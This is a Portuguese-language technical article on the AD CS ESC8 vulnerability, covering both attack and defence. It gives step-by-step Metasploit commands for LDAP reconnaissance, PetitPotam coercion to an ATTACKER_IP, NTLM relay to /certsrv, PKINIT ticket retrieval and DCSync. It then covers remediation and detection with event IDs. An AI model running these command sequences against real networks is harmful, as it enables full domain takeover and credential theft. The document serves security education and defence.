Análise Tecnica
ESC8 não é uma falha de template, mas uma falha de configuração de serviço no contexto dos Serviços de Certificados do Active Directory (AD CS). Diferente de outras vulnerabilidades de escalonamento de privilégios em AD CS que dependem de configurações incorretas em modelos de certificado (como ESC1 ou ESC4), o ESC8 explora uma falha arquitetural fundamental na interação entre protocolos de autenticação legados (NTLM) e interfaces de inscrição web não protegidas (HTTP/HTTPS sem Extended Protection for Authentication).
O foco deste documento é desconstruir a cadeia de ataque completa, desde a identificação e mapeamento da superfície de ataque até a exploração ativa utilizando o framework Metasploit, culminando em estratégias de remediação e engenharia de detecção. O vetor de ataque detalhado permite que um agente de ameaça, posicionado na rede interna, comprometa completamente um domínio Active Directory ao retransmitir credenciais NTLM de um Controlador de Domínio para a Autoridade Certificadora (CA), obtendo um certificado digital que concede persistência e privilégios administrativos totais.
A análise baseia-se em dados técnicos recentes, módulos do Metasploit atualizados e diretrizes de segurança de agências globais, fornecendo aos profissionais de segurança ofensiva e defensiva um guia definitivo para mitigar este risco crítico.
Introdução à Arquitetura de Risco do AD CS
O Papel Crítico da Infraestrutura de Chave Pública (PKI)
O Active Directory Certificate Services (AD CS) representa a implementação da Microsoft de uma Infraestrutura de Chave Pública (PKI) integrada ao diretório. Em ambientes corporativos modernos, o AD CS transcendeu sua função original de apenas emitir certificados SSL/TLS para servidores web. Ele tornou-se a espinha dorsal da identidade digital, suportando autenticação multifator (Smart Cards), criptografia de arquivos (EFS), assinaturas digitais, VPNs e autenticação de dispositivos IoT.1
A centralidade do AD CS na arquitetura de segurança o torna um alvo de alto valor (“Tier 0”). O compromisso de uma Autoridade Certificadora (CA) ou a capacidade de forjar ou obter ilicitamente um certificado válido equivale ao compromisso total do serviço de diretório. Isso ocorre porque o Active Directory confia implicitamente na CA para validar identidades. Um certificado emitido pela CA é, para todos os fins práticos, uma prova de identidade irrefutável dentro do ecossistema Kerberos, permitindo a solicitação de Ticket Granting Tickets (TGTs) e acesso a qualquer recurso no domínio.
A Gênese das Vulnerabilidades ESC (Escalation)
Em 2021, a publicação do whitepaper “Certified Pre-Owned” pela SpecterOps redefiniu o cenário de segurança do AD CS, categorizando uma série de vetores de ataque de ESC1 a ESC8 (e subsequentemente expandido até ESC16 e além). Enquanto a maioria dessas vulnerabilidades decorre de “misconfigurations” lógicas — como permissões excessivas em templates de certificados (ESC4) ou a flag ENROLLEE_SUPPLIES_SUBJECT habilitada (ESC1) — o ESC8 destaca-se por sua natureza arquitetural.
O ESC8 não exige que um administrador cometa um erro de configuração em um template específico. Ele explora a existência de interfaces de inscrição web (Web Enrollment Interfaces) que, por padrão, aceitam autenticação NTLM. Esta característica, combinada com a falta de mecanismos de assinatura de pacotes no protocolo HTTP (ao contrário do SMB Signing), cria a tempestade perfeita para ataques de NTLM Relay.
NTLM Relay e o Vetor HTTP
Para compreender a profundidade do ESC8, é imperativo dissecar a mecânica do protocolo NTLM e por que a interface HTTP do AD CS é o “elo mais fraco”.
A Mecânica do Desafio-Resposta NTLM
O protocolo NTLM (New Technology LAN Manager) opera em um modelo de desafio-resposta. Quando um cliente deseja autenticar-se em um servidor:
- Negociação: O cliente envia uma solicitação de negociação.
- Desafio (Challenge): O servidor responde com um número aleatório (nonce/challenge).
- Resposta: O cliente criptografa esse desafio usando o hash de sua senha e envia a resposta de volta.
- Verificação: O servidor valida a resposta.
Em um ataque de NTLM Relay, o atacante posiciona-se entre o cliente e o servidor. O atacante recebe a negociação do cliente e a encaminha para o servidor alvo. O servidor envia o desafio para o atacante, que o repassa para o cliente. O cliente calcula a resposta e a envia ao atacante. O atacante, então, entrega essa resposta válida ao servidor. O servidor aceita a autenticação, acreditando estar falando diretamente com o cliente, mas estabelecendo a sessão com o atacante.
O Diferencial HTTP vs. SMB
Historicamente, ataques de NTLM Relay focavam no protocolo SMB. No entanto, a Microsoft introduziu o SMB Signing (assinatura de pacotes), que exige que cada pacote da sessão seja assinado digitalmente com uma chave derivada da senha do usuário. Como o atacante não possui a senha (apenas o hash ou a resposta do desafio), ele não pode assinar seus próprios pacotes, quebrando o ataque de relay se o SMB Signing estiver imposto (o que é padrão em Controladores de Domínio).
A vulnerabilidade ESC8 reside no fato de que as interfaces de inscrição web do AD CS (/certsrv, /ces_kerberos) utilizam HTTP ou HTTPS. O protocolo HTTP, por padrão no IIS (Internet Information Services), não implementa um mecanismo de assinatura equivalente ao SMB Signing para autenticação NTLM. Mesmo com HTTPS, o túnel TLS protege o transporte, mas a autenticação NTLM ocorre dentro do túnel. Sem um mecanismo chamado “Channel Binding” (Vinculação de Canal), não há nada que ligue a autenticação NTLM ao canal TLS específico, permitindo que o atacante descapsule o NTLM de uma conexão (da vítima) e o reencapsule em sua própria conexão TLS com o servidor AD CS.
Interfaces Vulneráveis: CertSrv e CES
Existem dois componentes principais no AD CS suscetíveis a este ataque:
| Interface | Descrição Técnica | Caminho Padrão | Protocolo |
| CA Web Enrollment | Aplicação ASP legada para solicitação manual de certificados via navegador. | http://server/certsrv/ | HTTP/HTTPS |
| Certificate Enrollment Service (CES) | Serviço web moderno baseado em SOAP para renovação automática e inscrição baseada em políticas. | http://server/ADPolicyProvider_CEP_UsernamePassword/service.svc | HTTP/HTTPS |
Ambas as interfaces, quando instaladas com as configurações padrão, habilitam a Autenticação do Windows (que inclui NTLM) e não exigem Extended Protection for Authentication (EPA), tornando-as alvos imediatos para relay.
Mapeamento e Identificação (Reconnaissance)
A primeira fase da operação ofensiva envolve a identificação precisa da infraestrutura de PKI e a confirmação da presença das interfaces vulneráveis. O uso do Metasploit nesta fase permite uma enumeração furtiva e integrada.
Descoberta de Infraestrutura via LDAP
O módulo auxiliary/gather/ldap_esc_vulnerable_cert_finder é a ferramenta primária para mapear a superfície de ataque do AD CS sem a necessidade de escaneamento de portas ruidoso. Este módulo consulta o Active Directory via LDAP para ler o container Configuration, onde as informações da PKI são armazenadas.9
Procedimento de Mapeamento:
- Configuração do Módulo:
O operador deve configurar o módulo com credenciais de um usuário de domínio válido (qualquer usuário autenticado tem permissão de leitura nessas configurações).
Bashmsf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS <IP_DC>
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_DN user@domain.local
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_PASSWORD password
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run - Análise dos Resultados:
O output do módulo fornecerá uma lista detalhada das Autoridades Certificadoras (CAs) e dos Templates de Certificado. Para o ESC8, os dados críticos a serem extraídos são:
- Nome do Servidor CA (DNS Hostname): Identifica onde o serviço AD CS está rodando.
- Templates Disponíveis: Embora o ESC8 seja agnóstico ao template (no sentido de configuração), saber quais templates permitem autenticação (ex: DomainController, Computer, User) é vital para a fase de exploração. O módulo sinalizará templates vulneráveis a ESC1/ESC2/ESC3, mas para ESC8, procuramos templates padrão válidos.11
Confirmação Ativa de Interfaces HTTP
Após identificar os servidores que hospedam a role de CA, é necessário confirmar se as interfaces web estão ativas e aceitando NTLM. O módulo de enumeração LDAP pode indicar a presença de serviços de inscrição web, mas a validação direta é recomendada.
Técnica de Validação Manual via Metasploit:
Pode-se utilizar módulos auxiliares de escaneamento HTTP ou ferramentas de proxy (como o recurso de roteamento do Metasploit através de uma sessão Meterpreter existente) para acessar as URLs suspeitas:
- http://<CA_SERVER>/certsrv/
- http://<CA_SERVER>/ces_kerberos/
A resposta esperada que confirma a vulnerabilidade é um código de status HTTP 401 (Unauthorized) com o cabeçalho WWW-Authenticate: NTLM. Se o servidor responder apenas com WWW-Authenticate: Negotiate (e este Negotiate resolver apenas para Kerberos) ou se a porta 80/443 estiver fechada, o vetor ESC8 pode não ser viável.
Coerção de Autenticação: O Gatilho do Ataque
Para realizar um ataque de relay, o atacante precisa de tráfego para retransmitir. Em um cenário passivo, o atacante esperaria por broadcast LLMNR/NBT-NS. No entanto, para comprometer o domínio rapidamente, utiliza-se a coerção, forçando um alvo de alto valor (como um Controlador de Domínio) a se autenticar na máquina do atacante.
4.1 PetitPotam (MS-EFSRPC) e CVE-2021-36942
A técnica de coerção mais prevalente associada ao ESC8 é o “PetitPotam”. Esta técnica abusa do protocolo Encrypting File System Remote Protocol (MS-EFSRPC). Especificamente, a função EfsRpcOpenFileRaw permite que um chamador instrua um servidor a abrir um arquivo criptografado. Se o caminho do arquivo fornecido for um caminho UNC apontando para o servidor do atacante (ex: \\ATTACKER_IP\share\file), o servidor vítima tentará se conectar ao atacante via SMB, iniciando automaticamente uma autenticação NTLM com a conta de máquina da vítima.
4.2 Módulo de Coerção no Metasploit
O Metasploit implementou esta técnica no módulo auxiliary/scanner/dcerpc/petitpotam.
Configuração Tática:
Bash
msf6 > use auxiliary/scanner/dcerpc/petitpotam
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS <IP_TARGET_DC>
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LHOST <IP_ATTACKER_LISTENER>
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
- RHOSTS: O endereço do Controlador de Domínio que queremos comprometer.
- LHOST: O endereço IP onde nosso servidor de relay (configurado na próxima seção) estará escutando.
Análise de Eficácia:
É importante notar que a Microsoft lançou atualizações para mitigar o PetitPotam, exigindo autenticação para invocar o RPC. No entanto, o módulo do Metasploit permite fornecer credenciais (SMBUser, SMBPass) se o atacante já tiver comprometido um usuário de baixo privilégio. Além disso, mesmo com patches, se o NTLM não estiver desabilitado globalmente ou filtrado, a coerção ainda pode funcionar contra servidores não-DC ou configurações legadas.
Alternativas de Coerção:
Se o PetitPotam falhar, o atacante pode explorar outros métodos como o “PrinterBug” (MS-RPRN) via o módulo auxiliary/admin/dcerpc/printnightmare (adaptado para coerção) ou outras chamadas RPC como ShadowCoerce. O princípio permanece o mesmo: forçar a autenticação de saída.
Exploração: Execução do Relay via Metasploit
Esta é a fase crítica onde a coerção encontra a vulnerabilidade. Utilizaremos o módulo auxiliary/server/relay/esc8 para capturar a autenticação coagida e retransmiti-la para a interface de Web Enrollment.
Configuração do Módulo de Relay (ESC8)
O módulo auxiliary/server/relay/esc8 atua como um servidor SMB malicioso e um cliente HTTP simultaneamente.
Parâmetros Detalhados e Lógica de Operação:
Bash
msf6 > use auxiliary/server/relay/esc8
- RELAY_TARGET:
- Definição: A URL completa da interface vulnerável.
- Valor Típico: http://<CA_IP>/certsrv/
- Insight: Se o alvo usar HTTPS, o valor deve ser https://…. O módulo lidará com a conexão SSL, mas o sucesso dependerá da ausência de EPA no servidor.17
- CA (Certificate Authority):
- Definição: O nome canônico da CA, necessário para formatar a requisição de certificado.
- Obtenção: Extraído anteriormente via ldap_esc_vulnerable_cert_finder ou visualmente inspecionando a página /certsrv/ se acessível.
- Importância: Se este nome estiver incorreto, a geração do certificado falhará no lado do servidor.19
- MODE (Modo de Operação):
- Opção AUTO (Recomendada): O módulo inspeciona o nome de usuário da autenticação NTLM de entrada. Se terminar em $ (indicando uma conta de máquina, ex: DC01$), ele solicitará um certificado usando o template DomainController ou Machine. Se for um usuário, usará o template User. Isso maximiza a chance de sucesso sem intervenção manual.4
- Opção SPECIFIC_TEMPLATE: Permite forçar um template específico (ex: WebServer), útil se os templates padrão estiverem desativados.
- Configuração de Rede:
- SRVHOST: 0.0.0.0 (para escutar em todas as interfaces).
- SRVPORT: 445 (Padrão SMB). Nota: Isso requer acesso root/sudo na máquina atacante e garantia de que nenhum outro serviço SMB (como o Samba local) esteja ocupando a porta.
Execução:
Bash
msf6 auxiliary(server/relay/esc8) > run
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
A Cadeia de Eventos do Ataque
Uma vez que o módulo de relay está rodando e o comando de coerção (PetitPotam) é disparado em um terminal separado:
- Conexão de Entrada: O DC vítima conecta-se ao SRVHOST na porta 445.
- Negociação NTLM: O módulo esc8 recebe o Type 1 Message (Negotiate).
- Encapsulamento HTTP: O módulo inicia uma conexão HTTP com o RELAY_TARGET (o servidor AD CS).
- Relay do Desafio: O AD CS responde com um Type 2 Message (Challenge) no cabeçalho HTTP. O módulo extrai esse desafio e o envia de volta ao DC vítima via SMB.
- Captura da Resposta: O DC vítima calcula a resposta baseada no desafio e em seu hash de senha (hash da conta de máquina) e envia o Type 3 Message (Authenticate) para o módulo.
- Autenticação Final: O módulo envia essa resposta válida para o AD CS. O IIS valida a autenticação e abre uma sessão HTTP autenticada (Cookie de Sessão ASP.NET ou similar).
- Solicitação de Certificado (CSR): Dentro da sessão autenticada, o módulo gera dinamicamente um par de chaves (RSA 2048 ou 4096), cria um Certificate Signing Request (CSR) e o submete via POST para a página de inscrição (certfnsh.asp no caso do certsrv).
Extração: O AD CS processa o CSR, assina com sua chave privada e retorna o certificado público. O módulo captura esse blob, combina-o com a chave privada gerada anteriormente e salva um arquivo .pfx (PKCS#12) no diretório de “loot” do Metasploit.
Post-Exploitation e Elevação de Privilégios
Neste ponto, o atacante possui um arquivo .pfx válido para o Controlador de Domínio (ex: DC01$). O próximo passo é converter esse certificado em acesso administrativo efetivo.
Do Certificado ao Ticket Kerberos (PKINIT)
O protocolo Kerberos suporta autenticação via certificados através da extensão PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). O atacante pode usar o certificado roubado para solicitar um TGT (Ticket Granting Ticket) em nome da conta comprometida.
Módulo Metasploit: auxiliary/admin/kerberos/get_ticket
Configuração:
Bash
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(admin/kerberos/get_ticket) > set RHOSTS <IP_DC>
msf6 auxiliary(admin/kerberos/get_ticket) > set CERT_FILE /path/to/loot/cert.pfx
msf6 auxiliary(admin/kerberos/get_ticket) > set ACTION GET_TGT
msf6 auxiliary(admin/kerberos/get_ticket) > run
O módulo realizará a troca AS-REQ/AS-REP com o KDC. Se bem-sucedido, o TGT será salvo no cache de credenciais.21
Domínio Total: DCSync
Com o TGT da conta de máquina do DC em mãos, o atacante alcança o nível de privilégio de “Domain Controller”. Isso permite a execução do ataque DCSync, que simula o protocolo de replicação de diretório (MS-DRSR) para solicitar os hashes de senha de qualquer usuário.
O alvo principal geralmente é o usuário krbtgt (para criar Golden Tickets) ou Administrator. Ferramentas como Kiwi (Mimikatz integrado ao Metasploit) ou scripts de python através de proxy SOCKS podem ser usados para esta extração final, consolidando o controle total sobre a infraestrutura de identidade.
Remediação e Defesa em Profundidade
Dada a severidade do ESC8, a remediação deve ser tratada como prioridade crítica. As estratégias variam desde mudanças de configuração até endurecimento arquitetural.
Remediação Primária: Hardening do IIS no AD CS
A mitigação mais eficaz e direta ataca a raiz do problema: a aceitação de autenticação NTLM sem proteção de canal nas interfaces web.
Desabilitar NTLM nas Interfaces de Inscrição
Se todos os clientes do domínio suportarem Kerberos (o que é o caso para máquinas Windows modernas no domínio), o NTLM deve ser desativado no IIS para as aplicações CertSrv e CES.
- Ação: No Gerenciador do IIS > Selecionar a aplicação > Autenticação > Windows Authentication > Providers. Remover NTLM, mantendo apenas Negotiate e Negotiate:Kerberos.
- Impacto: Isso elimina completamente o vetor de ataque de NTLM Relay para este serviço, pois o Kerberos não é suscetível a este tipo de relay simples.
Habilitar Extended Protection for Authentication (EPA)
Se o NTLM não puder ser desabilitado por razões de legibilidade, o EPA é obrigatório.
- Requisito: O site deve usar HTTPS (SSL/TLS). EPA não funciona sobre HTTP puro.
- Configuração: No IIS > Autenticação do Windows > Configurações Avançadas > Definir “Extended Protection” para Required (Obrigatório).
- Mecanismo: O EPA implementa “Channel Binding Tokens” (CBT). O cliente encapsula informações sobre o canal TLS dentro da autenticação NTLM. O servidor verifica se o canal TLS onde a autenticação está ocorrendo corresponde ao canal que o cliente acredita estar usando. No ataque de relay, essa verificação falha porque o canal do atacante (Atacante->Servidor) é diferente do canal da vítima (Vítima->Atacante).7
Remediação Arquitetural: Remoção de Interfaces Desnecessárias
Muitas organizações instalam a role “Certification Authority Web Enrollment” por padrão (“Next, Next, Finish”), sem necessidade de negócio real.
- Recomendação: Se a inscrição via web não for utilizada (a maioria das inscrições de máquinas ocorre via RPC/Auto-Enrollment), remova a role do servidor. Esta redução da superfície de ataque é a defesa mais robusta possível.25
Defesa em Profundidade: RPC Filters e Firewall
Para mitigar a fase de coerção (PetitPotam):
- Filtros RPC: Implementar filtros para bloquear as UUIDs da interface MS-EFSRPC. Isso pode ser feito via arquivo de configuração rpc filter netsh.
Segmentação: Controladores de Domínio e CAs devem estar em segmentos de rede restritos (Tier 0), sem acesso SMB/RPC de redes de estações de trabalho ou segmentos de usuários comuns.
Detecção e Monitoramento
A detecção proativa é essencial para identificar tentativas de exploração em andamento.
Indicadores de Comprometimento (IoCs) em Logs
| Fonte de Log | Event ID / Local | Padrão de Detecção |
| IIS Logs (AD CS) | W3C Logs (/certsrv) | Acessos ao endpoint /certsrv/certfnsh.asp originados de endereços IP que não correspondem ao usuário autenticado (ex: Autenticação como DC01$ vinda de um IP de Workstation). |
| Windows Security | Event ID 4768 (TGT Request) | Solicitações de TGT (PreAuthType 15 ou 16 – PKINIT) para contas de Controlador de Domínio originadas de IPs que não são os próprios DCs. |
| Windows Security | Event ID 4887 (Cert Services) | Emissão de certificados para templates sensíveis (DomainController) iniciada manualmente via interface web (verificar o campo “Requester” e “Interface”). |
Monitoramento de Coerção
Monitorar o tráfego de rede ou logs de RPC para tentativas de conexão ao pipe lsarpc ou efsrpc com chamadas para EfsRpcOpenFileRaw. Ferramentas de IDS/IPS (como Snort/Suricata) podem ter assinaturas específicas para os pacotes RPC do PetitPotam e suas variantes.
Conclusão
A vulnerabilidade ESC8 não é apenas uma falha técnica, mas um lembrete da dívida técnica acumulada em infraestruturas Windows que mantêm compatibilidade com protocolos de décadas passadas. A combinação de coerção de autenticação (PetitPotam) com a retransmissão para serviços web desprotegidos (AD CS Web Enrollment) cria um caminho direto e confiável para o comprometimento total do domínio.
O uso do Metasploit, através dos módulos auxiliary/server/relay/esc8 e ferramentas de coerção, democratizou a exploração desta falha, tornando imperativo que as organizações adotem uma postura de “assume breach” e implementem correções agressivas. A simples aplicação de patches do sistema operacional não é suficiente; a reconfiguração segura do IIS (EPA) e a higienização da arquitetura PKI são os únicos caminhos para garantir a integridade da identidade corporativa.
O ciclo de vida da segurança do AD CS exige vigilância contínua, auditoria de configurações de templates e monitoramento rigoroso de anomalias de autenticação para se defender contra a evolução constante das técnicas de “Certified Pre-Owned”.
Apaixonado por tecnologia e segurança cibernética, com mais de 17 anos de experiencia na área atuando tecnicamente como Analista de Suporte de TI, Desenvolvedor, Infraetrutura e Segurança da Informação. Com sólida trajetória na área de Tecnologia da Informação e foco em Cibersegurança, dedico-me a identificar e mitigar vulnerabilidades críticas que ameaçam a continuidade de negócios, assim como atuo na governança baseada nos principais frameworks (ISO/IEC27001, ISO/IEC42000, NIST 800-115, PCIDSS etc.).
No responses yet